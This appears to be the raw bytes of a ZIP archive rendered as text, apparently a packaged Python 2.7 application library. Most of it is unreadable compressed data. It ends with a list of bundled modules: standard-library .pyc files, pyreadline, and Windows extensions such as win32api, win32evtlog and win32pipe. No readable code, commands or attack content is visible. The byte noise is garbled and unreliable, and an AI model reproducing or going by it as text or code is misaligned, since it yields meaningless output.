>~AxlMx
e]}6h0#
/2V{>9
.:L4Ot
0I.2I$L
f$o]0c
f4|Mgc
?4rGh!H
GE3W^)zQ
fC-y(u
%`1h|%qE
mhh94r8
+++JCKAa
Z:f$~T:1
]XrBR[
*`)4<k
d'u2Km
`}%X_	
tFl>#6
.90j#2y
4	HBj2
MiEGz2
1L`*3x
#+y(Bi*Q
x<O2^$=
IICFrS
<IIA*^"=
NL2^$-
+.d)+Y
%)OUjS
&uhH3Z
@LNZrP
E(E%jP
!MiI[:
$&))ICz2
$"	)HM:2
7iKG"x
d%'y(@
$"	)HM:2
x$$))y
y(HQJQ
d%'y(@
&.	HLRR
W(M%jR
uE)CejR
Mlc7_r
y(HQJQ
el`+_p
V>e7_r
Kd%/E)KU^
#+y(Jyj
&3y(Jyj
E)E9*Q
$"	)HMz2
6uiHSZ
33333333K
0D&6	IA:
pD#.IIMz
ulc/G8
D'.IHMFr
".	IJJ
$$))IC
$,Q	 	
	Lc.KX
D%6	HB*
=o_ $a
y(L)*P
D%6	HJ*
".	IJJ
!MiI[:
9,`	+X
:uhHSZ
$$))IC
%(Cy*S
!MiI[:
"?E(AY*R
D!&qID2R
 E)IY*R
!MiI[:
$"))HMZ2
$"))HMZ2
 E)IY*R
!MiI[:
".	IJJ
$ ))IKF
 E)IY*R
!MiI[:
 E)IY*R
!MiI[:
 6qI@b
$?E)CU
%!IIAj
QL`*sX
$ 	)HM:2
pD!&qIDr
D$*1	 
D$*1	 
d$;y)LI
*~b/G9
2uiNGz3
$;y)LI
1Lb:sY
:uhH3Z
A_^a8o0
2<H,Ux
P^g$cHb*3
?mMOVr
{)Ai*P
\%}guH
$-hI[:
y,d)+X
y,d)+X
y,d)+X
y,d)+X
AQb(?:
"WI?V~
y,b9+Y
{)I4ex
Kn';y(@a
s7E(A4ex
d#'wq7E(A4
)BIb(O,U
b,ILa:
/(mqJq
0E)I4e(OE*S
W.r99?
AhmX(=
)O7dJy
uw_PW3
<e^*(]
|'e;.\
~?R^fs
twJJwH#
~_BpvQ2
-9C(hk
:xi-}P
e;k:h>
/)mm&?$
_<x#1e
_w#|O9'
A`~!;:
O:OuC"^
G4>bk-
LQW#*m
q_OXCXKXEXM
mo	a&r
D?l%_k
Q&,$<"o
e|oEyE
v/!oO:
3pR@tO
g=r?lJ]
'PNN`0
W?M{/9
|3OtW][#
7nW5[s
peTCwd|
Ef+8gO
F~_^`Yc
,ttfgd
W{bY_A
ilD7xt
't%t!t&t"d
^m)s:|
<o#l'$D
sfB(+}X
1zf^j;
q2g-Er
7r	77m
C>+m_`
}j)~Z:
E^tCndk8
fCe#;hl
OSBVx|8
88Y	oF&
=T[3.8
x?Cdj&=
Fx(z17r
gk[x_K
PZz.321
t"t$t D
4wx!=8I
4'x.':
V"?=d/F
n8cYu%C
#!7G%;
$Z|(|M
~^kc3o
VdmKHx
9lO~xW
&M.BNB
>C}O7h
{)p[6$<^
|h?tNcgp
CiGw-w
lSBO?m
#Bvg<7
~Ev&!_k
{~_(!=!
|G|7x9i
xw-4/am
73:"1t
BnB.BNB
kmoGtH
~_?){J
y;VK:.
Ki|	Y+E
Yl.{@T
aoW	X3\
~/6rst]
\7Agl@
n<n*q#
A4q=Qv
d(o4R>
,+{rpep
rH[Ii]
IdZF][
OZFFrfz
sQRzrFVJ
fk&p5K
iK[WGWWW/W_W
W<+<k<
?0>+~j
|]}=|IpK
Yd:fU<
F8'8'9g;s
win32api.pyd
u(|WZ`
CWJX_m
$;@&#I
Lt^D+i
C@D#i!
$Cen2y
SP6=J3
^@}._7
BBG(Q\
0qc.-l
!kYaZXud:$
N5p#CI
&fp+#t
q}F_Gfwx
T*QiJe
,K[yaZ
fbnJS*
r^g*SP
2U"-|1I
aKEGuJ
{evVk0X
4h!Th>
;Y<@:+H
hG{`|1~_
947?6-
q|90S{
0K~^r	2]
t#Q)X'
E7[xqj
	WliGf
y_P>RE+QVXa
pfRduf
UtTB)}
R;TI&.X]
w,*wa?=
^}#Q3|d
*hDkx)
"<I8Mx
=IC[hGij[hU0
LMgg{w
sBgK7a
")[sZ)}
#zFg"o
pT'S?q|
{!-\Wo#	
  b@U&
Bz~A&/
##nL>"
s0(f#;:
{Ulf4Ix$
|4}vjo
z*_]oEuC]M
_0XeE&
\_Y_YS
~JCe}f
h90a~_1
dUumCc
L!E3Ge
L-YL'E
^~45^R
V}P}F}I}O
`Ob9H`
'\,\.,
!1&^*.
*=&=-=/
Ez@zXZ/
2H=J-UOQ
\<Z2!wa)
Yz\O"R8
UJ=,gLI
T&M@tS
PZ ]%-A
G<4J>IfeY6
win32evtlog.pyd
bv"T4C
h;21cWO:
)f+3T}I
|M.-wV8
'xWAFr1
nIgOz1G0
D|z*oO
dRi)QQ
4cqbP32
xjE+R*
elV&?l=7lR
@>$C`m2q
&!1I4a
6Fl7NOq
X4fbvb
Omp=+v
',#i%W
Cl:-wV
4F{k0]Ii
(,pvX^&9
Vs`*>;o
mL9b?A
Nb_=pR:e
p#!7"r3!
t9~nyc
9Ld^NAAD
bA^NIv
]/,G<J
Gz/_'d
UueuSC
TBhgJ 
O2L7\n
$6ILRS
-K-k,[,
|A9QeP
XuN5M=[
WZo2-fK
aYbYny
ThZbZiZmj
_{H{T;
win32pipe.pyd
.",]D\
l|;R@g
'a`',2
U~rDAL,
#6G a_
eZQ/Up6
$ub!n0`
fc*uDg
w`94@R
b4D,_Q
QLJRO{G
]ZVfw:
K{*JklUv$
7gTu{:
|4?QVA
BRTTd(*)z
pywintypes27.dll
VwqXvu*
OM_Q%5ym
Fzm9"b
o#>/~r]|<o_
#OVB{o
q2RSM3
6w16w1Rj1p
`T^@ly
 7.x:i`L}
T%.Mjx
8NwQ`A
_!RM}F
:x9M_Q
_06z%3b
UfgutP
^MKj{w0
>C~\o'q
v=~s#'
#ck=U@1O
{k&uT_
d+kFuJ
~r^[?9
<VWfK0M
)u+[EC
!(}Y4U
oy0#D%7
x%2V:f\
2n(uJz'
`|mF_f|>g
3QsQ`65
a&Zqxw
ZFT/FF
h;2N6?
+	>O)9
~Wr&!O
i"OEt6
;8H"Yr?2
!p p"p!p#
0H8*o_
r!X!\*
>kj0mM
_R^Y#,
I Qq'C2IF&
!L{m|a-
gs):<H
<?wvYa
\l!%I;
@mt;FXJ
Lg#XN#;
~d_|{v
s#oDz3
K#w[lD
e]m`!!
<ypa8O4w
F~k9R}
O=hCz'h7
POLQ(3
VL;	qmU
m_xCA}2P
-m$	;Ot
t\<)Oe
cx/pM]
h9iDiu
uv;7:79
7-7]oZcz
!hh3<kx
>]?]?G
e=h=du
`=lz#<
StringIO.pycPK
UserDict.pycPK
__future__.pycPK
_abcoll.pycPK
_strptime.pycPK
_threading_local.pycPK
_weakrefset.pycPK
abc.pycPK
atexit.pycPK
base64.pycPK
bdb.pycPK
bisect.pycPK
calendar.pycPK
cmd.pycPK
codecs.pycPK
collections.pycPK
copy.pycPK
copy_reg.pycPK
ctypes/__init__.pycPK
ctypes/_endian.pycPK
ctypes/wintypes.pycPK
difflib.pycPK
dis.pycPK
distutils/__init__.pycPK
distutils/errors.pycPK
distutils/log.pycPK
distutils/spawn.pycPK
doctest.pycPK
KLvVHXj
dummy_thread.pycPK
email/__init__.pycPK
email/_parseaddr.pycPK
email/base64mime.pycPK
email/charset.pycPK
email/encoders.pycPK
email/errors.pycPK
email/feedparser.pycPK
email/generator.pycPK
email/header.pycPK
email/iterators.pycPK
email/message.pycPK
email/mime/__init__.pycPK
email/parser.pycPK
email/quoprimime.pycPK
email/utils.pycPK
encodings/__init__.pycPK
encodings/aliases.pycPK
encodings/ascii.pycPK
encodings/base64_codec.pycPK
encodings/big5.pycPK
encodings/big5hkscs.pycPK
encodings/bz2_codec.pycPK
encodings/charmap.pycPK
encodings/cp037.pycPK
encodings/cp1006.pycPK
encodings/cp1026.pycPK
encodings/cp1140.pycPK
encodings/cp1250.pycPK
encodings/cp1251.pycPK
encodings/cp1252.pycPK
encodings/cp1253.pycPK
encodings/cp1254.pycPK
encodings/cp1255.pycPK
encodings/cp1256.pycPK
encodings/cp1257.pycPK
encodings/cp1258.pycPK
encodings/cp424.pycPK
encodings/cp437.pycPK
encodings/cp500.pycPK
encodings/cp720.pycPK
encodings/cp737.pycPK
encodings/cp775.pycPK
encodings/cp850.pycPK
encodings/cp852.pycPK
encodings/cp855.pycPK
encodings/cp856.pycPK
encodings/cp857.pycPK
encodings/cp858.pycPK
encodings/cp860.pycPK
encodings/cp861.pycPK
encodings/cp862.pycPK
encodings/cp863.pycPK
encodings/cp864.pycPK
encodings/cp865.pycPK
encodings/cp866.pycPK
encodings/cp869.pycPK
encodings/cp874.pycPK
encodings/cp875.pycPK
encodings/cp932.pycPK
encodings/cp949.pycPK
encodings/cp950.pycPK
encodings/euc_jis_2004.pycPK
encodings/euc_jisx0213.pycPK
encodings/euc_jp.pycPK
encodings/euc_kr.pycPK
encodings/gb18030.pycPK
encodings/gb2312.pycPK
encodings/gbk.pycPK
encodings/hex_codec.pycPK
encodings/hp_roman8.pycPK
encodings/hz.pycPK
encodings/idna.pycPK
encodings/iso2022_jp.pycPK
encodings/iso2022_jp_1.pycPK
encodings/iso2022_jp_2.pycPK
encodings/iso2022_jp_2004.pycPK
encodings/iso2022_jp_3.pycPK
encodings/iso2022_jp_ext.pycPK
encodings/iso2022_kr.pycPK
encodings/iso8859_1.pycPK
encodings/iso8859_10.pycPK
encodings/iso8859_11.pycPK
encodings/iso8859_13.pycPK
encodings/iso8859_14.pycPK
encodings/iso8859_15.pycPK
encodings/iso8859_16.pycPK
encodings/iso8859_2.pycPK
encodings/iso8859_3.pycPK
encodings/iso8859_4.pycPK
encodings/iso8859_5.pycPK
encodings/iso8859_6.pycPK
encodings/iso8859_7.pycPK
encodings/iso8859_8.pycPK
encodings/iso8859_9.pycPK
encodings/johab.pycPK
encodings/koi8_r.pycPK
encodings/koi8_u.pycPK
encodings/latin_1.pycPK
encodings/mac_arabic.pycPK
encodings/mac_centeuro.pycPK
encodings/mac_croatian.pycPK
encodings/mac_cyrillic.pycPK
encodings/mac_farsi.pycPK
encodings/mac_greek.pycPK
encodings/mac_iceland.pycPK
encodings/mac_latin2.pycPK
encodings/mac_roman.pycPK
encodings/mac_romanian.pycPK
encodings/mac_turkish.pycPK
KLD`v,;
encodings/mbcs.pycPK
encodings/palmos.pycPK
encodings/ptcp154.pycPK
encodings/punycode.pycPK
encodings/quopri_codec.pycPK
encodings/raw_unicode_escape.pycPK
encodings/rot_13.pycPK
encodings/shift_jis.pycPK
encodings/shift_jis_2004.pycPK
encodings/shift_jisx0213.pycPK
encodings/string_escape.pycPK
encodings/tis_620.pycPK
encodings/undefined.pycPK
KL5apg
encodings/unicode_escape.pycPK
encodings/unicode_internal.pycPK
encodings/utf_16.pycPK
encodings/utf_16_be.pycPK
encodings/utf_16_le.pycPK
encodings/utf_32.pycPK
encodings/utf_32_be.pycPK
encodings/utf_32_le.pycPK
encodings/utf_7.pycPK
encodings/utf_8.pycPK
encodings/utf_8_sig.pycPK
encodings/uu_codec.pycPK
encodings/zlib_codec.pycPK
fnmatch.pycPK
KLo@sl`0
ftplib.pycPK
functools.pycPK
genericpath.pycPK
getopt.pycPK
getpass.pycPK
gettext.pycPK
glob.pycPK
gzip.pycPK
hashlib.pycPK
heapq.pycPK
hmac.pycPK
httplib.pycPK
inspect.pycPK
io.pycPK
keyword.pycPK
linecache.pycPK
locale.pycPK
logging/__init__.pycPK
logging/handlers.pycPK
mimetools.pycPK
mimetypes.pycPK
ntpath.pycPK
nturl2path.pycPK
opcode.pycPK
optparse.pycPK
os.pycPK
os2emxpath.pycPK
pdb.pycPK
pickle.pycPK
platform.pycPK
posixpath.pycPK
KLpYuk
pprint.pycPK
py_compile.pycPK
quopri.pycPK
random.pycPK
re.pycPK
repr.pycPK
rfc822.pycPK
sets.pycPK
shlex.pycPK
shutil.pycPK
pyreadline/__init__.pycPK
pyreadline/clipboard/__init__.pycPK
pyreadline/clipboard/ironpython_clipboard.pycPK
pyreadline/clipboard/no_clipboard.pycPK
pyreadline/clipboard/win32_clipboard.pycPK
pyreadline/console/__init__.pycPK
pyreadline/console/ansi.pycPK
pyreadline/console/event.pycPK
pyreadline/console/ironpython_console.pycPK
pyreadline/error.pycPK
pyreadline/keysyms/__init__.pycPK
pyreadline/keysyms/common.pycPK
pyreadline/keysyms/ironpython_keysyms.pycPK
pyreadline/keysyms/keysyms.pycPK
pyreadline/keysyms/winconstants.pycPK
pyreadline/lineeditor/__init__.pycPK
pyreadline/lineeditor/history.pycPK
pyreadline/lineeditor/lineobj.pycPK
pyreadline/lineeditor/wordmatcher.pycPK
pyreadline/logger.pycPK
pyreadline/modes/__init__.pycPK
pyreadline/modes/basemode.pycPK
pyreadline/modes/emacs.pycPK
pyreadline/modes/notemacs.pycPK
pyreadline/modes/vi.pycPK
pyreadline/py3k_compat.pycPK
pyreadline/release.pycPK
pyreadline/rlmain.pycPK
pyreadline/unicode_helper.pycPK
readline.pycPK
win32con.pycPK
win32evtlogutil.pycPK
winerror.pycPK
zipextimporter.pycPK
smtplib.pycPK
socket.pycPK
sre.pycPK
sre_compile.pycPK
sre_constants.pycPK
sre_parse.pycPK
ssl.pycPK
stat.pycPK
string.pycPK
stringprep.pycPK
struct.pycPK
subprocess.pycPK
tarfile.pycPK
tempfile.pycPK
textwrap.pycPK
threading.pycPK
token.pycPK
tokenize.pycPK
traceback.pycPK
types.pycPK
unittest/__init__.pycPK
unittest/case.pycPK
unittest/loader.pycPK
KLj'MZ
unittest/main.pycPK
unittest/result.pycPK
unittest/runner.pycPK
unittest/signals.pycPK
unittest/suite.pycPK
unittest/util.pycPK
urllib.pycPK
urlparse.pycPK
uu.pycPK
warnings.pycPK
weakref.pycPK
zipfile.pycPK
_ctypes.pydPK
_hashlib.pydPK
_socket.pydPK
_ssl.pydPK
bz2.pydPK
select.pydPK
unicodedata.pydPK
win32api.pydPK
win32evtlog.pydPK
win32pipe.pydPK
pywintypes27.dllPK